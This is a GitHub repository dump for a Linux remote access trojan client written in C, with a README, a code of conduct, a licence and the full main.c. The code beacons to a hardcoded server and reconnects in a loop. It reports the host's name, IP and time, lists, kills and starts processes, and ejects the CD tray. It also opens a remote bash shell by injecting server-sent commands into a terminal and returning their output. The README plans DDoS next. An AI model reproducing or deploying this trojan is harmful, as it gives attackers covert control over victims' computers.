├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── LICENSE ├── README.md └── main.c /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. 6 | 7 | ## Our Standards 8 | 9 | Examples of behavior that contributes to creating a positive environment include: 10 | 11 | * Using welcoming and inclusive language 12 | * Being respectful of differing viewpoints and experiences 13 | * Gracefully accepting constructive criticism 14 | * Focusing on what is best for the community 15 | * Showing empathy towards other community members 16 | 17 | Examples of unacceptable behavior by participants include: 18 | 19 | * The use of sexualized language or imagery and unwelcome sexual attention or advances 20 | * Trolling, insulting/derogatory comments, and personal or political attacks 21 | * Public or private harassment 22 | * Publishing others' private information, such as a physical or electronic address, without explicit permission 23 | * Other conduct which could reasonably be considered inappropriate in a professional setting 24 | 25 | ## Our Responsibilities 26 | 27 | Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. 28 | 29 | Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. 30 | 31 | ## Scope 32 | 33 | This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. 34 | 35 | ## Enforcement 36 | 37 | Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at ghost@mcghost.ddns.net. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. 38 | 39 | Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. 40 | 41 | ## Attribution 42 | 43 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] 44 | 45 | [homepage]: http://contributor-covenant.org 46 | [version]: http://contributor-covenant.org/version/1/4/ 47 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contribution 2 | **Thank you for considering contribution to the C R.A.T Client Project!** 3 | ## How to contribute? 4 | It's very simple! 5 | 1. Fork the project 6 | 2. Make the changes 7 | 3. Issue a pull request 8 | 4. I will do a merge after verifying (in some cases changing) the code 9 | ## How to report bugs? 10 | You can simply use the *Issues* section on github 11 | Just write an issue, and i will try to respond within 24 hours! 12 | ## How to contribute? (without writing code) 13 | You can also do this on the *Issues* section, and i will label it as *enhancement* 14 | This way you can suggest new features, or change an older one without coding. 15 | I will try to respond within 24 hours! 16 | ## How to run / compile 17 | I use mc (Midnight Commander) to write c projects on linux 18 | The project is written in C and built with gcc 19 | GCC Compile Options: `gcc main.c -pthread -o linuxClient` 20 | ## How to ask questions? 21 | You can also use the *Issues* section on GitHub, i will assign a label to it, so it's different from bugs. 22 | I will try to respond within 24 hours! 23 | You can also contact me at my [Youtube Channel](https://www.youtube.com/channel/UCYIOySp8zTTWJG5-n8wpZ2g) 24 | Either a comment on the video about the topic, or a message at the *Discussion* section on my channel page 25 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Advanced Hacking 101 Project Licence 2 | short and simple 3 | You are free to do anything with this project, as long as you credit me and the project 4 | Links to the project are enough 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # C R.A.T Client Linux 2 | This is a client integrating some of the functions of [C# R.A.T Client](https://github.com/AdvancedHacker101/C-Sharp-R.A.T-Client/) 3 | This client is written in c and uses the standard linux libraries, and some commands, like: pidof, eject, bash, gsettings, kill 4 | Version: 1.0 - beta 5 | Functions that are working with the linuxClient: 6 | - Getting info (machine name, ip address, time) 7 | - Popping messagebox (opening a new terminal, with the message) -only with graphical versions 8 | - Hiding desktop -only with graphical versions 9 | - CD Tray (open and close) 10 | - Processes (listing, killing, starting) -can't start hidden processes 11 | - Remote cmd (open, close, read, write) -using bash as shell interface 12 | 13 | Functions planned to be added: 14 | - [ ] File management 15 | - [ ] Remote Desktop (not sure) 16 | - [ ] DDoS 17 | 18 | **Warning**: traffic sent and/or received by the linuxClient is **Not encrypted** 19 | Note that this is very experimental and may not work as intended! 20 | ## More Information 21 | You can view the project licence [here](https://github.com/AdvancedHacker101/C-R.A.T-Client-Linux/blob/master/LICENSE) 22 | You can read the code of conduct [here](https://github.com/AdvancedHacker101/C-R.A.T-Client-Linux/blob/master/CODE_OF_CONDUCT.md) 23 | You can read how to contribute [here](https://github.com/AdvancedHacker101/C-R.A.T-Client-Linux/blob/master/CONTRIBUTING.md) 24 | 25 | *Happy Coding!* 26 | **\-Advanced Hacking 101** 27 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | void writeLine(char* data, int dataLength) 13 | { 14 | for (int i = 0; i < dataLength; i++) 15 | { 16 | printf("%c", *data); 17 | data++; 18 | } 19 | printf("%s", "\r\n"); 20 | 21 | fflush(stdout); 22 | } 23 | 24 | void writeString(char* data) 25 | { 26 | printf("%s\r\n", data); 27 | fflush(stdout); 28 | } 29 | 30 | int sendCommand(int sock, char* command) 31 | { 32 | int result; 33 | result = send(sock, command, strlen(command), 0); 34 | return result; 35 | } 36 | 37 | int StartsWith(char* src, char* cmp) 38 | { 39 | if (strncmp(src, cmp, strlen(cmp)) == 0) return 1; 40 | return 0; 41 | } 42 | 43 | char *readFile(char* filename, int* fileSizeRet) 44 | { 45 | FILE *file; 46 | if (access(filename, F_OK) == -1) 47 | { 48 | if (fileSizeRet != NULL) fileSizeRet = -1; 49 | return NULL; 50 | } 51 | file = fopen(filename, "r"); 52 | fseek(file, 0L, SEEK_END); 53 | int fileSize = ftell(file) + 1; 54 | char* fileContent = malloc(fileSize * sizeof(char)); 55 | memset(fileContent, 0, sizeof(fileContent)); 56 | rewind(file); 57 | int bytesRead = fread(fileContent, fileSize, fileSize, file); 58 | if (fileSizeRet != NULL) 59 | { 60 | *fileSizeRet = fileSize; 61 | } 62 | return fileContent; 63 | } 64 | 65 | int _socket; 66 | 67 | void onExit(void) 68 | { 69 | char* command = "dclient"; 70 | writeString("onExit"); 71 | send(_socket, command, sizeof(command), 0); 72 | sleep(2); 73 | close(_socket); 74 | } 75 | 76 | void signalHandler(int signal) 77 | { 78 | printf("Signal: %d", signal); 79 | fflush(stdout); 80 | onExit(); 81 | writeString("onExit called"); 82 | } 83 | 84 | int firstIndexOf(char* data, char find, int bytesRead, int ignore) 85 | { 86 | for (int i = 0; i < bytesRead; i++) 87 | { 88 | if (*data == find) 89 | { 90 | if (ignore == 0) 91 | { 92 | return i; 93 | } 94 | else 95 | { 96 | ignore--; 97 | } 98 | } 99 | 100 | data++; 101 | } 102 | 103 | return -1; 104 | } 105 | 106 | void Substring(char* destination, char* source, int copyLength) 107 | { 108 | // writeString("Start of substring!"); 109 | for (int i = 0; i < copyLength; i++) 110 | { 111 | // printf("%c", *source); 112 | *destination = *source; 113 | source++; 114 | destination++; 115 | } 116 | *destination = '\0'; 117 | } 118 | 119 | void* ExecuteShell() 120 | { 121 | system("bash"); 122 | writeString("after bash command at Bind & Execute"); 123 | } 124 | 125 | //Remote Shell variables 126 | 127 | char* deviceLink; 128 | char* clientHomeDir; 129 | char* shellprocID; 130 | int shellFd; 131 | int letReadRun; 132 | 133 | void* ConnectShell() 134 | { 135 | if(deviceLink != NULL) memset(deviceLink, 0, sizeof(deviceLink)); 136 | else deviceLink = malloc(128); 137 | shellprocID = malloc(16); 138 | memset(shellprocID, 0, sizeof(shellprocID)); 139 | sleep(5); 140 | system("pidof bash > pidof.txt"); 141 | int fileSize = 0; 142 | char* fileContent = readFile("pidof.txt", &fileSize); 143 | //Get First PID in the list -> this is the last started bash shell 144 | int indexOfSpace = firstIndexOf(fileContent, ' ', fileSize, 0); 145 | char* shellPid = malloc(16); 146 | memset(shellPid, 0, sizeof(shellPid)); 147 | Substring(shellPid, fileContent, indexOfSpace); 148 | strcpy(shellprocID, shellPid); 149 | free(fileContent); 150 | fileContent = NULL; 151 | system("rm pidof.txt"); 152 | char* startCmd = malloc(256); 153 | memset(startCmd, 0, sizeof(startCmd)); 154 | strcat(startCmd, "echo -n $(readlink -f /proc/"); 155 | strcat(startCmd, shellPid); 156 | strcat(startCmd, "/fd/0) > rlink.txt"); 157 | system(startCmd); 158 | free(shellPid); 159 | shellPid = NULL; 160 | free(startCmd); 161 | startCmd = NULL; 162 | fileSize = -1; 163 | char* devLink = readFile("rlink.txt", &fileSize); 164 | writeString("till substring"); 165 | Substring(deviceLink, devLink, fileSize); 166 | writeString("till free"); 167 | free(devLink); 168 | devLink = NULL; 169 | shellFd = -1; 170 | writeString("deviceLink:"); 171 | writeString(deviceLink); 172 | shellFd = open(deviceLink, O_RDWR); 173 | if (shellFd == -1) 174 | { 175 | writeString("Failed to create shell file descriptor!"); 176 | } 177 | system("rm rlink.txt"); 178 | } 179 | 180 | char* cleanUpCommand() 181 | { 182 | char* command = malloc(256); 183 | memset(command, 0, sizeof(command)); 184 | memset(command, 0, sizeof(command)); 185 | strcat(command, "echo -n >"); 186 | strcat(command, clientHomeDir); 187 | strcat(command, "/cmdout.txt"); 188 | return command; 189 | } 190 | 191 | void* ReadStreamShell() 192 | { 193 | clientHomeDir = malloc(128); 194 | memset(clientHomeDir, 0, sizeof(clientHomeDir)); 195 | int fileSize = 0; 196 | system("echo -n $(pwd) > wd.txt"); 197 | clientHomeDir = readFile("wd.txt", &fileSize); 198 | system("rm wd.txt"); 199 | // strcat(clientHomeDir, fileContent); 200 | char* fullCommand = malloc(1024); 201 | memset(fullCommand, 0, sizeof(fullCommand)); 202 | char* command = cleanUpCommand(); 203 | int commandLength = strlen(command); 204 | char stackCommand[commandLength]; 205 | memcpy(&stackCommand, command, commandLength); 206 | free(command); 207 | command = NULL; 208 | 209 | while (1) 210 | { 211 | if (letReadRun == 0) break; 212 | int fileSize = 0; 213 | char* fileContent = readFile("cmdout.txt", &fileSize); 214 | if (fileContent == NULL || fileSize == -1 || fileSize == 0) 215 | { 216 | free(fileContent); 217 | fileContent = NULL; 218 | sleep(1); 219 | continue; 220 | } 221 | if (strcmp(fileContent, "") != 0) 222 | { 223 | memset(fullCommand, 0, sizeof(fullCommand)); 224 | strcat(fullCommand, "cmdout|"); 225 | strncat(fullCommand, fileContent, fileSize); 226 | free(fileContent); 227 | fileContent = NULL; 228 | /* writeString("About to send as shell result:"); 229 | writeString(fullCommand);*/ 230 | int sendResult = send(_socket, fullCommand, strlen(fullCommand), 0); 231 | if (sendResult == -1) writeString("Read Stream Shell failed to send output"); 232 | else 233 | { 234 | writeLine(stackCommand, commandLength); 235 | system(stackCommand); 236 | } 237 | } 238 | 239 | if (letReadRun == 0) break; 240 | sleep(1); 241 | } 242 | 243 | free(fullCommand); 244 | fullCommand = NULL; 245 | system("rm cmdout.txt"); 246 | } 247 | 248 | void writeDevice(char* text, int *textLength, int* devFd) 249 | { 250 | for (int i = 0; i < *textLength; i++) 251 | { 252 | ioctl(*devFd, TIOCSTI, text+i); 253 | } 254 | } 255 | 256 | int main() 257 | { 258 | struct sockaddr_in server; 259 | char sendBuffer[1000], recvBuffer[2000]; 260 | 261 | //Setup signal handlers 262 | 263 | signal(SIGINT, signalHandler); 264 | 265 | //Setup deviceLink var 266 | 267 | deviceLink = malloc(128); 268 | memset(deviceLink, 0, sizeof(deviceLink)); 269 | 270 | //Create Socket 271 | client_create_socket: 272 | _socket = socket(AF_INET, SOCK_STREAM, 0); 273 | if (_socket == -1) 274 | { 275 | printf("Socket is not created!"); 276 | return 1; 277 | } 278 | 279 | puts("Socket Created!"); 280 | server.sin_addr.s_addr = inet_addr("192.168.10.56"); //Specify the IP Address of your server here 281 | server.sin_family = AF_INET; 282 | server.sin_port = htons(100); 283 | client_reconnect: 284 | if (connect(_socket, (struct sockaddr *)&server, sizeof(server)) < 0) 285 | { 286 | perror("Faild to connect to server!"); 287 | goto client_reconnect; 288 | } 289 | 290 | puts("Socket Connected!"); 291 | sendCommand(_socket, "linuxClient"); 292 | 293 | while (1) 294 | { 295 | memset(&recvBuffer, 0, sizeof(recvBuffer)); 296 | int bytesRead = recv(_socket, recvBuffer, 2000, 0); 297 | if (bytesRead < 0) 298 | { 299 | perror("Receive failed!"); 300 | return 1; 301 | } 302 | char msg[bytesRead]; 303 | memcpy(&msg, &recvBuffer, bytesRead); //destination, source, size 304 | writeString("Server message: "); 305 | writeLine(&msg, bytesRead); 306 | if (StartsWith(&msg, "getinfo-")) 307 | { 308 | char* clientID = malloc(8); 309 | char* cmdStart = malloc(512); 310 | 311 | memset(clientID, 0, sizeof(clientID)); 312 | memset(cmdStart, 0, sizeof(cmdStart)); 313 | Substring(clientID, &msg[8], bytesRead - 8); 314 | strcat(cmdStart, "printf infoback\\;"); 315 | writeString(cmdStart); 316 | strcat(cmdStart, clientID); 317 | strcat(cmdStart, "\\;"); 318 | strcat(cmdStart, " > data.txt && echo -n $(hostname) >> data.txt && printf \\| >> data.txt && echo -n $(hostname -I) >> data.txt && printf \\| >> data.txt && echo -n $(date) >> data.txt && printf \\|N/A >> data.txt"); 319 | system(cmdStart); 320 | char* fileData = readFile("data.txt", NULL); 321 | send(_socket, fileData, strlen(fileData), 0); 322 | free(fileData); 323 | fileData = NULL; 324 | free(clientID); 325 | clientID = NULL; 326 | free(cmdStart); 327 | cmdStart = NULL; 328 | system("rm data.txt"); 329 | } 330 | 331 | if (strncmp(msg, "dc", bytesRead) == 0) 332 | { 333 | sleep(2); 334 | writeString("dclient sent and close'd application"); 335 | close(_socket); 336 | memset(&recvBuffer, 0, sizeof(recvBuffer)); 337 | goto client_create_socket; 338 | } 339 | 340 | if (StartsWith(&msg, "msg|")) 341 | { 342 | char* command = malloc(1024); 343 | memset(command, 0, sizeof(command)); 344 | Substring(command, &msg[4], bytesRead - 4); 345 | char* title = malloc(512); 346 | memset(title, 0, sizeof(title)); 347 | int indexOfPipe = firstIndexOf(command, '|', bytesRead, 0); 348 | if (indexOfPipe == -1) continue; 349 | Substring(title, command, indexOfPipe); 350 | char* message = malloc(512); 351 | memset(message, 0, sizeof(message)); 352 | int indexOfSecondPipe = firstIndexOf(command, '|', bytesRead, 1); 353 | if (indexOfSecondPipe == -1) continue; 354 | Substring(message, command + indexOfPipe + 1, indexOfSecondPipe - indexOfPipe - 1); 355 | char* shell = malloc(1024); 356 | memset(shell, 0, sizeof(shell)); 357 | strcat(shell, "gnome-terminal -x sh -c \"echo \\\"\\\\t"); 358 | strcat(shell, title); 359 | strcat(shell, "\\\\r\\\\n"); 360 | strcat(shell, message); 361 | strcat(shell, "\\\" && bash\""); 362 | system(shell); 363 | free(shell); 364 | shell = NULL; 365 | free(title); 366 | title = NULL; 367 | free(message); 368 | message = NULL; 369 | free(command); 370 | command = NULL; 371 | } 372 | 373 | if (StartsWith(&msg, "cd")) 374 | { 375 | char* option = malloc(32); 376 | memset(option, 0, sizeof(option)); 377 | int indexOfPipe = firstIndexOf(msg, '|', bytesRead, 0); 378 | if (indexOfPipe == -1) continue; 379 | int optLength = bytesRead - indexOfPipe - 1; 380 | Substring(option, &msg[indexOfPipe + 1], optLength); 381 | if (strncmp(option, "open", optLength) == 0) 382 | { 383 | system("eject"); 384 | } 385 | if (strncmp(option, "close", optLength) == 0) 386 | { 387 | system("eject -t"); 388 | } 389 | 390 | free(option); 391 | option = NULL; 392 | } 393 | 394 | if (StartsWith(&msg, "emt|")) 395 | { 396 | char* element = malloc(32); 397 | char* option = malloc(16); 398 | memset(element, 0 ,sizeof(element)); 399 | memset(option, 0, sizeof(option)); 400 | int indexOfSecondPipe = firstIndexOf(msg, '|', bytesRead, 1); 401 | int optionLength = indexOfSecondPipe - 4; 402 | int elementLength = bytesRead - indexOfSecondPipe - 1; 403 | Substring(option, &msg[4], indexOfSecondPipe - 4); 404 | Substring(element, &msg[indexOfSecondPipe + 1], bytesRead - indexOfSecondPipe - 1); 405 | if (strncmp(element, "desktop", elementLength) == 0) 406 | { 407 | if (strncmp(option, "show", optionLength) == 0) 408 | { 409 | system("gsettings set org.gnome.desktop.background show-desktop-icons true"); 410 | } 411 | 412 | if (strncmp(option, "hide", optionLength) == 0) 413 | { 414 | system("gsettings set org.gnome.desktop.background show-desktop-icons false"); 415 | } 416 | } 417 | free(element); 418 | element = NULL; 419 | free(option); 420 | option = NULL; 421 | } 422 | 423 | if (strncmp(msg, "proclist", bytesRead) == 0) 424 | { 425 | system("echo -n lprocset > proc.txt && ps -au >> proc.txt"); 426 | int fSize = 0; 427 | char* fileContent = readFile("proc.txt", &fSize); 428 | send(_socket, fileContent, fSize, 0); 429 | free(fileContent); 430 | fileContent = NULL; 431 | system("rm proc.txt"); 432 | } 433 | 434 | if (StartsWith(&msg, "prockill|")) 435 | { 436 | char* shellCommand = malloc(128); 437 | char* procID = malloc(16); 438 | memset(procID, 0, sizeof(procID)); 439 | memset(shellCommand, 0, sizeof(shellCommand)); 440 | Substring(procID, &msg[9], bytesRead - 9); 441 | strcat(shellCommand, "kill "); 442 | strcat(shellCommand, procID); 443 | system(shellCommand); 444 | writeString(shellCommand); 445 | free(shellCommand); 446 | shellCommand = NULL; 447 | free(procID); 448 | procID = NULL; 449 | } 450 | 451 | if (StartsWith(&msg, "procstart|")) 452 | { 453 | char* procName = malloc(256); 454 | memset(procName, 0, sizeof(procName)); 455 | int indexOfSecondPipe = firstIndexOf(msg, '|', bytesRead, 1); 456 | Substring(procName, &msg[10], indexOfSecondPipe - 10); 457 | strcat(procName, " &"); 458 | system(procName); 459 | free(procName); 460 | procName = NULL; 461 | } 462 | 463 | if (strncmp(msg, "startcmd", bytesRead) == 0) 464 | { 465 | writeString("Starting cmd bridge"); 466 | pthread_t threadID; 467 | pthread_t conThreadID; 468 | pthread_t rdThreadID; 469 | 470 | letReadRun = 1; 471 | 472 | int errorCode; 473 | errorCode = pthread_create(&threadID, NULL, &ExecuteShell, NULL); 474 | if (errorCode != 0) writeString("Shell execute failed!"); 475 | else writeString("pthread main Created"); 476 | errorCode = pthread_create(&conThreadID, NULL, &ConnectShell, NULL); 477 | if (errorCode != 0) writeString("Shell connection thread start failed!"); 478 | else writeString("Connection Shell Started"); 479 | errorCode = pthread_create(&rdThreadID, NULL, &ReadStreamShell, NULL); 480 | if (errorCode != 0) writeString("Failed to start cmd shell read thread"); 481 | else writeString("Shell read thread started"); 482 | } 483 | 484 | if (StartsWith(&msg, "cmd|")) 485 | { 486 | char* output = malloc(1536); 487 | char* realCommand = malloc(512); 488 | memset(output, 0, sizeof(output)); 489 | memset(realCommand, 0, sizeof(realCommand)); 490 | Substring(realCommand, &msg[4], bytesRead - 4); 491 | 492 | if (shellFd == -1) 493 | { 494 | writeString("Invalid File Descriptor!"); 495 | continue; //Continue to read TCP stream, don't return, but exit this block 496 | } 497 | 498 | strcat(output, "echo \"$("); 499 | strcat(output, realCommand); 500 | strcat(output, ")\" > "); 501 | strcat(output, clientHomeDir); 502 | strcat(output, "/cmdout.txt\n\0"); 503 | int outLength = strlen(output); 504 | writeDevice(output, &outLength, &shellFd); 505 | 506 | free(output); 507 | output = NULL; 508 | free(realCommand); 509 | realCommand = NULL; 510 | } 511 | 512 | if (strncmp(msg, "stopcmd", bytesRead) == 0) 513 | { 514 | writeString("Entering stop cmd function"); 515 | letReadRun = 0; 516 | int staticLength = 5; 517 | close(shellFd); 518 | writeString("file-d closed"); 519 | char killCommand[64]; 520 | // writeString("malloc completed"); 521 | memset(killCommand, 0, sizeof(killCommand)); 522 | strcat(killCommand, "kill "); 523 | strcat(killCommand, shellprocID); 524 | system(killCommand); 525 | // free(killCommand); 526 | // writeDevice("exit\n", &staticLength, &shellFd); 527 | writeString("before free 1"); 528 | free(deviceLink); 529 | deviceLink = NULL; 530 | writeString("after free 1, before free 2"); 531 | free(clientHomeDir); 532 | clientHomeDir = NULL; 533 | writeString("after free 2"); 534 | } 535 | 536 | memset(&recvBuffer, 0, sizeof(recvBuffer)); 537 | } 538 | } --------------------------------------------------------------------------------